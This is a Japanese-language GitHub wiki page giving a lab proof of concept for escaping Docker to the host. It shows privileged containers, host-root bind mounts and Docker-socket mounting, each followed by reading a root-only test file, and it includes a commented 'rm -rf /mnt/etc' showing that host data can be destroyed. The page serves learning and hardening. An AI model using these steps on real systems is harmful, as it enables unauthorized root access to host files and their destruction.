docker権限昇格PoC - yokohama/oreshic-record GitHub Wiki

docker権限昇格PoC

準備

/rootに検証用のファイルを作成

echo 'root only'
root only

一般ユーザーでは開けないことの確認

cat /root/secret.txt
cat: /root/secret.txt: 許可がありません

PoC

1. コンテナにホストとほぼ同じ権限をつけて起動

docker run -it --privileged ubuntu
# ホストのデバイスを確認
root@c32ac14ace1c:/# lsblk
NAME   MAJ:MIN RM   SIZE RO TYPE MOUNTPOINTS
sda      8:0    0   200G  0 disk 
|-sda1   8:1    0     1M  0 part 
|-sda2   8:2    0   513M  0 part 
`-sda3   8:3    0 199.5G  0 part /etc/hosts
                                 /etc/hostname
                                 /etc/resolv.conf
sr0     11:0    1  1024M  0 rom  

#-- ホストのデバイスをコンテナにマウント
root@c32ac14ace1c:/# mount /dev/sda3 /mnt

#-- 本来見えてはいけないものが見える
root@c32ac14ace1c:/# cat /mnt/root/secret.txt 
root only

#-- 破壊も可能
#-- root@c32ac14ace1c:/# cat /mnt/root/secret.txt 
#-- rm -rf /mnt/etc

2. ホストの/をコンテナ内の/hostにマウントして起動

docker run -it -v /:/host ubuntu
root@e62ea093e534:/# ls /host
bin  boot  cdrom  dev  etc  home  lib  lib32  lib64  libx32  lost+found  media  mnt  opt  proc  root  run  sbin  snap  srv  swapfile  sys  tmp  usr  var

root@e62ea093e534:/# cat /host/root/secret.txt 
root only

3. DockerAPIをソケットで渡してコンテナ起動

docker run -it -v /var/run/docker.sock:/var/run/docker.sock docker:cli
#-- ホストのコンテナ一覧が見える(コンテナ内でホストのDockerAPIが利用できる)
docker ps
CONTAINER ID   IMAGE        COMMAND                  CREATED         STATUS         PORTS     NAMES
ead797223f4d   docker:cli   "docker-entrypoint.s…"   4 seconds ago   Up 4 seconds             focused_grothendieck

#-- コンテナ内でほぼホスト同様の権限のコンテナを更に起動
# docker run --privileged -it ubuntu

#-- ホストのデバイスが見える
root@451a56c8498f:/# lsblk
NAME   MAJ:MIN RM   SIZE RO TYPE MOUNTPOINTS
sda      8:0    0   200G  0 disk 
|-sda1   8:1    0     1M  0 part 
|-sda2   8:2    0   513M  0 part 
`-sda3   8:3    0 199.5G  0 part /etc/hosts
                                 /etc/hostname
                                 /etc/resolv.conf
sr0     11:0    1  1024M  0 rom  

#-- ホストのデバイスをマウント
root@451a56c8498f:/# mount /dev/sda3 /mnt

root@451a56c8498f:/# ls /mnt
bin  boot  cdrom  dev  etc  home  lib  lib32  lib64  libx32  lost+found  media  mnt  opt  proc  root  run  sbin  snap  srv  swapfile  sys  tmp  usr  var

root@451a56c8498f:/# cat /mnt/root/secret.txt 
root only
⚠️ **GitHub.com Fallback** ⚠️